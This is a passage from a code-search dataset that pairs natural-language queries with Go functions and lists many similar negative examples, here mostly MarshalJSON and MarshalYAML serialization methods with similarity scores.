json.Marshal(objectMap)\\n}\",\n \"func (obj CustomObjectKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CustomObjectKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"key-value-document\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (c Container) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"id\\\", c.ID)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *ModifyAckDeadlineResponse) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (v ConnectionUpdate) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson42239ddeEncodeGithubComKhliengDispatchServer28(w, v)\\n}\",\n \"func (k KeyDelivery) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"accessControl\\\", k.AccessControl)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (obj CartReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"cart\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (obj CartRemoveLineItemAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemoveLineItemAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removeLineItem\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (r *Instance) marshal(c *Client) ([]byte, error) {\\n\\tm, err := expandInstance(c, r)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error marshalling Instance: %w\\\", err)\\n\\t}\\n\\n\\treturn json.Marshal(m)\\n}\",\n \"func (rmwaps ResourceModelWithAllowedPropertySet)MarshalJSON() ([]byte, error){\\n objectMap := make(map[string]interface{})\\n if(rmwaps.Location != nil) {\\n objectMap[\\\"location\\\"] = rmwaps.Location\\n }\\n if(rmwaps.ManagedBy != nil) {\\n objectMap[\\\"managedBy\\\"] = rmwaps.ManagedBy\\n }\\n if(rmwaps.Kind != nil) {\\n objectMap[\\\"kind\\\"] = rmwaps.Kind\\n }\\n if(rmwaps.Tags != nil) {\\n objectMap[\\\"tags\\\"] = rmwaps.Tags\\n }\\n if(rmwaps.Identity != nil) {\\n objectMap[\\\"identity\\\"] = rmwaps.Identity\\n }\\n if(rmwaps.Sku != nil) {\\n objectMap[\\\"sku\\\"] = rmwaps.Sku\\n }\\n if(rmwaps.Plan != nil) {\\n objectMap[\\\"plan\\\"] = rmwaps.Plan\\n }\\n return json.Marshal(objectMap)\\n }\",\n \"func (v Mode) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson42239ddeEncodeGithubComKhliengDispatchServer16(w, v)\\n}\",\n \"func (obj ProductVariantKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias ProductVariantKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"product-variant\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tgpbo.Kind = KindGet\\n\\tobjectMap := make(map[string]interface{})\\n\\tif gpbo.IncludeValue != nil {\\n\\t\\tobjectMap[\\\"IncludeValue\\\"] = gpbo.IncludeValue\\n\\t}\\n\\tif gpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = gpbo.PropertyName\\n\\t}\\n\\tif gpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = gpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func ReMarshal(in, out interface{}) error {\\n\\tj, err := json.Marshal(in)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn json.Unmarshal(j, out)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.5750004","0.55759436","0.54684263","0.5425846","0.5231512","0.5211123","0.5131773","0.5079047","0.5069765","0.5060536","0.5039563","0.5022548","0.5019293","0.49997476","0.49869797","0.4982175","0.49781758","0.4964321","0.494803","0.49363446","0.49304426","0.49290153","0.49275938","0.4922518","0.49188417","0.49163562","0.49027634","0.4901466","0.48976856","0.48969254","0.48964983","0.48933032","0.48922956","0.4884167","0.4877545","0.48760855","0.48731703","0.4872946","0.48701188","0.48663968","0.48659575","0.48597273","0.48536772","0.48513538","0.48488313","0.48378608","0.48371872","0.48324844","0.4831327","0.4829591","0.48228818","0.4821896","0.48181644","0.48143944","0.47963113","0.47961298","0.47927082","0.4791374","0.47868764","0.47853738","0.47836834","0.478329","0.4781332","0.47812986","0.47766283","0.47760555","0.47756302","0.47655916","0.4763286","0.4763172","0.47627258","0.4759284","0.47587898","0.4751745","0.47457898","0.47416362","0.47408417","0.47333246","0.4733085","0.47275564","0.47247902","0.4720522","0.47192538","0.4719002","0.47185564","0.47131684","0.4707919","0.47046414","0.47045267","0.4704477","0.4704473","0.470228","0.47008476","0.46964937","0.46955395","0.4692939","0.46917492","0.46892402","0.46887287","0.4687172"],"string":"[\n \"0.5750004\",\n \"0.55759436\",\n \"0.54684263\",\n \"0.5425846\",\n \"0.5231512\",\n \"0.5211123\",\n \"0.5131773\",\n \"0.5079047\",\n \"0.5069765\",\n \"0.5060536\",\n \"0.5039563\",\n \"0.5022548\",\n \"0.5019293\",\n \"0.49997476\",\n \"0.49869797\",\n \"0.4982175\",\n \"0.49781758\",\n \"0.4964321\",\n \"0.494803\",\n \"0.49363446\",\n \"0.49304426\",\n \"0.49290153\",\n \"0.49275938\",\n \"0.4922518\",\n \"0.49188417\",\n \"0.49163562\",\n \"0.49027634\",\n \"0.4901466\",\n \"0.48976856\",\n \"0.48969254\",\n \"0.48964983\",\n \"0.48933032\",\n \"0.48922956\",\n \"0.4884167\",\n \"0.4877545\",\n \"0.48760855\",\n \"0.48731703\",\n \"0.4872946\",\n \"0.48701188\",\n \"0.48663968\",\n \"0.48659575\",\n \"0.48597273\",\n \"0.48536772\",\n \"0.48513538\",\n \"0.48488313\",\n \"0.48378608\",\n \"0.48371872\",\n \"0.48324844\",\n \"0.4831327\",\n \"0.4829591\",\n \"0.48228818\",\n \"0.4821896\",\n \"0.48181644\",\n \"0.48143944\",\n \"0.47963113\",\n \"0.47961298\",\n \"0.47927082\",\n \"0.4791374\",\n \"0.47868764\",\n \"0.47853738\",\n \"0.47836834\",\n \"0.478329\",\n \"0.4781332\",\n \"0.47812986\",\n \"0.47766283\",\n \"0.47760555\",\n \"0.47756302\",\n \"0.47655916\",\n \"0.4763286\",\n \"0.4763172\",\n \"0.47627258\",\n \"0.4759284\",\n \"0.47587898\",\n \"0.4751745\",\n \"0.47457898\",\n \"0.47416362\",\n \"0.47408417\",\n \"0.47333246\",\n \"0.4733085\",\n \"0.47275564\",\n \"0.47247902\",\n \"0.4720522\",\n \"0.47192538\",\n \"0.4719002\",\n \"0.47185564\",\n \"0.47131684\",\n \"0.4707919\",\n \"0.47046414\",\n \"0.47045267\",\n \"0.4704477\",\n \"0.4704473\",\n \"0.470228\",\n \"0.47008476\",\n \"0.46964937\",\n \"0.46955395\",\n \"0.4692939\",\n \"0.46917492\",\n \"0.46892402\",\n \"0.46887287\",\n \"0.4687172\"\n]"},"document_score":{"kind":"string","value":"0.6406999"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106181,"cells":{"query":{"kind":"string","value":"MarshalYAML will marshal a retain operation into YAML"},"document":{"kind":"string","value":"func (op OpRetain) MarshalYAML() (interface{}, error) {\n\treturn op.Fields, nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}","func (o Op) MarshalYAML() (interface{}, error) {\n\treturn map[string]interface{}{\n\t\to.Type(): o.OpApplier,\n\t}, nil\n}","func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}","func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}","func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}","func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\n\treturn approvalStrategyToString[a], nil\n\t//buffer := bytes.NewBufferString(`\"`)\n\t//buffer.WriteString(approvalStrategyToString[*s])\n\t//buffer.WriteString(`\"`)\n\t//return buffer.Bytes(), nil\n}","func (bc *ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(AtomicLoadByteCount(bc)), nil\n}","func (s GitEvent) MarshalYAML() (interface{}, error) {\n\treturn toString[s], nil\n}","func (b *Backend) MarshalYAML() (interface{}, error) {\n\tb.mu.RLock()\n\tdefer b.mu.RUnlock()\n\n\tpayload := struct {\n\t\tAddress string\n\t\tDisabledUntil time.Time `yaml:\"disabledUntil\"`\n\t\tForcePromotionsAfter time.Duration `yaml:\"forcePromotionsAfter\"`\n\t\tLatency time.Duration `yaml:\"latency\"`\n\t\tMaxConnections int `yaml:\"maxConnections\"`\n\t\tTier int `yaml:\"tier\"`\n\t}{\n\t\tAddress: b.addr.String(),\n\t\tDisabledUntil: b.mu.disabledUntil,\n\t\tForcePromotionsAfter: b.mu.forcePromotionAfter,\n\t\tLatency: b.mu.lastLatency,\n\t\tMaxConnections: b.mu.maxConnections,\n\t\tTier: b.mu.tier,\n\t}\n\treturn payload, nil\n}","func (key PrivateKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}","func (d Rate) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (r *Regexp) MarshalYAML() (interface{}, error) {\n\treturn r.String(), nil\n}","func (i Instance) MarshalYAML() (interface{}, error) {\n\treturn i.Vars, nil\n}","func (c *Components) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(c, c.low)\n\treturn nb.Render(), nil\n}","func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(o, o.low)\n\treturn nb.Render(), nil\n}","func (op OpFlatten) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}","func (n Nil) MarshalYAML() (interface{}, error) {\n\treturn nil, nil\n}","func (r RetryConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyRetryConfig{\n\t\tOutput: r.Output,\n\t\tConfig: r.Config,\n\t}\n\tif r.Output == nil {\n\t\tdummy.Output = struct{}{}\n\t}\n\treturn dummy, nil\n}","func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (o *Output) MarshalYAML() (interface{}, error) {\n\tif o.ShowValue {\n\t\treturn withvalue(*o), nil\n\t}\n\to.Value = nil // explicitly make empty\n\to.Sensitive = false // explicitly make empty\n\treturn *o, nil\n}","func (v *Int8) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}","func (f Fixed8) MarshalYAML() (interface{}, error) {\n\treturn f.String(), nil\n}","func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\n\treturn m.String(), nil\n}","func Marshal(v interface{}) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tenc := yaml.NewEncoder(&buf)\n\tenc.SetIndent(2)\n\terr := enc.Encode(v)\n\treturn buf.Bytes(), err\n}","func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyReadUntilConfig{\n\t\tInput: r.Input,\n\t\tRestart: r.Restart,\n\t\tCheck: r.Check,\n\t}\n\tif r.Input == nil {\n\t\tdummy.Input = struct{}{}\n\t}\n\treturn dummy, nil\n}","func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\n\tif m.Config == nil {\n\t\treturn m.Name, nil\n\t}\n\n\traw := map[string]interface{}{\n\t\tm.Name: m.Config,\n\t}\n\treturn raw, nil\n}","func (z Z) MarshalYAML() (interface{}, error) {\n\ttype Z struct {\n\t\tS string `json:\"s\"`\n\t\tI int32 `json:\"iVal\"`\n\t\tHash string\n\t\tMultiplyIByTwo int64 `json:\"multipliedByTwo\"`\n\t}\n\tvar enc Z\n\tenc.S = z.S\n\tenc.I = z.I\n\tenc.Hash = z.Hash()\n\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\n\treturn &enc, nil\n}","func (d LegacyDec) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (b ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(b), nil\n}","func (f Flag) MarshalYAML() (interface{}, error) {\n\treturn f.Name, nil\n}","func (ep Endpoint) MarshalYAML() (interface{}, error) {\n\ts, err := ep.toString()\n\treturn s, err\n}","func (p *Parameter) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(p, p.low)\n\treturn nb.Render(), nil\n}","func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\n\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\n}","func (r ParseKind) MarshalYAML() ([]byte, error) {\n\tif s, ok := interface{}(r).(fmt.Stringer); ok {\n\t\treturn yaml.Marshal(s.String())\n\t}\n\ts, ok := _ParseKindValueToName[r]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid ParseKind: %d\", r)\n\t}\n\treturn yaml.Marshal(s)\n}","func (p Params) MarshalYAML() (interface{}, error) {\n\treturn p.String(), nil\n}","func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\n\treturn ec.String(), nil\n}","func (v Validator) MarshalYAML() (interface{}, error) {\n\tbs, err := yaml.Marshal(struct {\n\t\tStatus sdk.BondStatus\n\t\tJailed bool\n\t\tUnbondingHeight int64\n\t\tConsPubKey string\n\t\tOperatorAddress sdk.ValAddress\n\t\tTokens sdk.Int\n\t\tDelegatorShares sdk.Dec\n\t\tDescription Description\n\t\tUnbondingCompletionTime time.Time\n\t\tCommission Commission\n\t\tMinSelfDelegation sdk.Dec\n\t}{\n\t\tOperatorAddress: v.OperatorAddress,\n\t\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\n\t\tJailed: v.Jailed,\n\t\tStatus: v.Status,\n\t\tTokens: v.Tokens,\n\t\tDelegatorShares: v.DelegatorShares,\n\t\tDescription: v.Description,\n\t\tUnbondingHeight: v.UnbondingHeight,\n\t\tUnbondingCompletionTime: v.UnbondingCompletionTime,\n\t\tCommission: v.Commission,\n\t\tMinSelfDelegation: v.MinSelfDelegation,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), nil\n}","func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"\", nil\n\t}\n\treturn nil, nil\n}","func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"\", nil\n\t}\n\treturn nil, nil\n}","func (u *URL) MarshalYAML() (interface{}, error) {\n\treturn u.String(), nil\n}","func (r OAuthFlow) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"authorizationUrl\"] = r.AuthorizationURL\n\n\tobj[\"tokenUrl\"] = r.TokenURL\n\n\tif r.RefreshURL != \"\" {\n\t\tobj[\"refreshUrl\"] = r.RefreshURL\n\t}\n\n\tobj[\"scopes\"] = r.Scopes\n\n\tfor key, val := range r.Extensions {\n\t\tobj[key] = val\n\t}\n\n\treturn obj, nil\n}","func (b Bool) MarshalYAML() (interface{}, error) {\n\tif !b.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn b.value, nil\n}","func (ss StdSignature) MarshalYAML() (interface{}, error) {\n\tpk := \"\"\n\tif ss.PubKey != nil {\n\t\tpk = ss.PubKey.String()\n\t}\n\n\tbz, err := yaml.Marshal(struct {\n\t\tPubKey string `json:\"pub_key\"`\n\t\tSignature string `json:\"signature\"`\n\t}{\n\t\tpk,\n\t\tfmt.Sprintf(\"%X\", ss.Signature),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bz), err\n}","func (key PublicKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}","func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\n\tvar s yaml.MapSlice\n\tfor _, item := range m.ToSlice() {\n\t\ts = append(s, yaml.MapItem{\n\t\t\tKey: item.Key,\n\t\t\tValue: item.Value,\n\t\t})\n\t}\n\treturn yaml.Marshal(s)\n}","func (cp *CertPool) MarshalYAML() (interface{}, error) {\n\treturn cp.Files, nil\n}","func (i Interface) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (u *URL) MarshalYAML() (interface{}, error) {\n\tif u.url == nil {\n\t\treturn nil, nil\n\t}\n\treturn u.url.String(), nil\n}","func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.Duration.String(), nil\n}","func (c CompressionType) MarshalYAML() (interface{}, error) {\n\treturn compressionTypeID[c], nil\n}","func (i Int) MarshalYAML() (interface{}, error) {\n\tif !i.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn i.value, nil\n}","func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\n\tif len(extensions) == 0 {\n\t\treturn v, nil\n\t}\n\tmarshaled, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar unmarshaled map[string]interface{}\n\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range extensions {\n\t\tunmarshaled[k] = v\n\t}\n\treturn unmarshaled, nil\n}","func (d Document) MarshalYAML() (interface{}, error) {\n\treturn d.raw, nil\n}","func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\n\treturn export.ToData(), nil\n}","func (d *Discriminator) MarshalYAML() (interface{}, error) {\n\tnb := low2.NewNodeBuilder(d, d.low)\n\treturn nb.Render(), nil\n}","func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: va.AccountNumber,\n\t\tPubKey: getPKString(va),\n\t\tSequence: va.Sequence,\n\t\tOriginalVesting: va.OriginalVesting,\n\t\tDelegatedFree: va.DelegatedFree,\n\t\tDelegatedVesting: va.DelegatedVesting,\n\t\tEndTime: va.EndTime,\n\t\tStartTime: va.StartTime,\n\t\tVestingPeriods: va.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}","func (s *spiff) Marshal(node Node) ([]byte, error) {\n\treturn yaml.Marshal(node)\n}","func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (k *Kluster) YAML() ([]byte, error) {\n\treturn yaml.Marshal(k)\n}","func (u URL) MarshalYAML() (interface{}, error) {\n\tif u.URL != nil {\n\t\treturn u.String(), nil\n\t}\n\treturn nil, nil\n}","func (d DurationMinutes) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Minute), nil\n}","func (i UOM) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (d *WebAuthnDevice) MarshalYAML() (any, error) {\n\treturn d.ToData(), nil\n}","func (date Date) MarshalYAML() (interface{}, error) {\n\tvar d = string(date)\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn nil, err\n\t}\n\treturn d, nil\n}","func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\n\tconst mediaType = runtime.ContentTypeYAML\n\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\n\tif !ok {\n\t\treturn []byte{}, errors.Errorf(\"unsupported media type %q\", mediaType)\n\t}\n\n\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\n\treturn runtime.Encode(encoder, obj)\n}","func SortYAML(in io.Reader, out io.Writer, indent int) error {\n\n\tincomingYAML, err := ioutil.ReadAll(in)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"can't read input: %v\", err)\n\t}\n\n\tvar hasNoStartingLabel bool\n\trootIndent, err := detectRootIndent(incomingYAML)\n\tif err != nil {\n\t\tif !errors.Is(err, ErrNoStartingLabel) {\n\t\t\tfmt.Fprint(out, string(incomingYAML))\n\t\t\treturn fmt.Errorf(\"can't detect root indentation: %v\", err)\n\t\t}\n\n\t\thasNoStartingLabel = true\n\t}\n\n\tif hasNoStartingLabel {\n\t\tincomingYAML = append([]byte(CustomLabel+\"\\n\"), incomingYAML...)\n\t}\n\n\tvar value map[string]interface{}\n\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\n\t\treturn fmt.Errorf(\"can't decode YAML: %v\", err)\n\t}\n\n\tvar outgoingYAML bytes.Buffer\n\tencoder := yaml.NewEncoder(&outgoingYAML)\n\tencoder.SetIndent(indent)\n\n\tif err := encoder.Encode(&value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-encode YAML: %v\", err)\n\t}\n\n\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\n\tif err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-indent YAML: %v\", err)\n\t}\n\n\tfmt.Fprint(out, reindentedYAML)\n\treturn nil\n}","func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(d)\n}","func (s String) MarshalYAML() (interface{}, error) {\n\tif !s.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn s.value, nil\n}","func (i ChannelName) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func asYaml(w io.Writer, m resmap.ResMap) error {\n\tb, err := m.AsYaml()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(b)\n\treturn err\n}","func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}","func (s SensitiveString) MarshalYAML() (interface{}, error) {\n\treturn s.String(), nil\n}","func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\n\tunmarshaler := &pmetric.JSONMarshaler{}\n\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar jsonVal map[string]interface{}\n\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &bytes.Buffer{}\n\tenc := yaml.NewEncoder(b)\n\tenc.SetIndent(2)\n\tif err := enc.Encode(jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.Bytes(), nil\n}","func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (cva ContinuousVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(cva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: cva.AccountNumber,\n\t\tPubKey: getPKString(cva),\n\t\tSequence: cva.Sequence,\n\t\tOriginalVesting: cva.OriginalVesting,\n\t\tDelegatedFree: cva.DelegatedFree,\n\t\tDelegatedVesting: cva.DelegatedVesting,\n\t\tEndTime: cva.EndTime,\n\t\tStartTime: cva.StartTime,\n\t}\n\treturn marshalYaml(out)\n}","func (v *VersionInfo) MarshalYAML() (interface{}, error) {\n\n\treturn &struct {\n\t\tSemVer string `yaml:\"semver\"`\n\t\tShaLong string `yaml:\"shaLong\"`\n\t\tBuildTimestamp int64 `yaml:\"buildTimestamp\"`\n\t\tBranch string `yaml:\"branch\"`\n\t\tArch string `yaml:\"arch\"`\n\t}{\n\t\tSemVer: v.SemVer,\n\t\tShaLong: v.ShaLong,\n\t\tBuildTimestamp: v.BuildTimestamp.Unix(),\n\t\tBranch: v.Branch,\n\t\tArch: v.Arch,\n\t}, nil\n}","func (f Float64) MarshalYAML() (interface{}, error) {\n\tif !f.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn f.value, nil\n}","func (d DurationSeconds) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\n\treturn int(d.value / time.Second), nil\n}","func (r Discriminator) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"propertyName\"] = r.PropertyName\n\n\tif len(r.Mapping) > 0 {\n\t\tobj[\"mapping\"] = r.Mapping\n\t}\n\n\treturn obj, nil\n}","func (v *Uint16) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}","func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func MarshalUnmarshal(in interface{}, out interface{}) error {\n\t// struct -> yaml -> map for easy access\n\trdr, err := Marshal(in)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn Unmarshal(rdr, out)\n}","func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (s *Spec020) Marshal() ([]byte, error) {\n\treturn yaml.Marshal(s)\n}","func Marshal(o interface{}) ([]byte, error) {\n\tj, err := json.Marshal(o)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshaling into JSON: %v\", err)\n\t}\n\n\ty, err := JSONToYAML(j)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error converting JSON to YAML: %v\", err)\n\t}\n\n\treturn y, nil\n}","func (vva ValidatorVestingAccount) MarshalYAML() (interface{}, error) {\n\tvar bs []byte\n\tvar err error\n\tvar pubkey string\n\n\tif vva.PubKey != nil {\n\t\tpubkey, err = sdk.Bech32ifyAccPub(vva.PubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tbs, err = yaml.Marshal(struct {\n\t\tAddress sdk.AccAddress\n\t\tCoins sdk.Coins\n\t\tPubKey string\n\t\tAccountNumber uint64\n\t\tSequence uint64\n\t\tOriginalVesting sdk.Coins\n\t\tDelegatedFree sdk.Coins\n\t\tDelegatedVesting sdk.Coins\n\t\tEndTime int64\n\t\tStartTime int64\n\t\tVestingPeriods vestingtypes.Periods\n\t\tValidatorAddress sdk.ConsAddress\n\t\tReturnAddress sdk.AccAddress\n\t\tSigningThreshold int64\n\t\tCurrentPeriodProgress CurrentPeriodProgress\n\t\tVestingPeriodProgress []VestingProgress\n\t\tDebtAfterFailedVesting sdk.Coins\n\t}{\n\t\tAddress: vva.Address,\n\t\tCoins: vva.Coins,\n\t\tPubKey: pubkey,\n\t\tAccountNumber: vva.AccountNumber,\n\t\tSequence: vva.Sequence,\n\t\tOriginalVesting: vva.OriginalVesting,\n\t\tDelegatedFree: vva.DelegatedFree,\n\t\tDelegatedVesting: vva.DelegatedVesting,\n\t\tEndTime: vva.EndTime,\n\t\tStartTime: vva.StartTime,\n\t\tVestingPeriods: vva.VestingPeriods,\n\t\tValidatorAddress: vva.ValidatorAddress,\n\t\tReturnAddress: vva.ReturnAddress,\n\t\tSigningThreshold: vva.SigningThreshold,\n\t\tCurrentPeriodProgress: vva.CurrentPeriodProgress,\n\t\tVestingPeriodProgress: vva.VestingPeriodProgress,\n\t\tDebtAfterFailedVesting: vva.DebtAfterFailedVesting,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), err\n}","func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}","func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: bva.AccountNumber,\n\t\tPubKey: getPKString(bva),\n\t\tSequence: bva.Sequence,\n\t\tOriginalVesting: bva.OriginalVesting,\n\t\tDelegatedFree: bva.DelegatedFree,\n\t\tDelegatedVesting: bva.DelegatedVesting,\n\t\tEndTime: 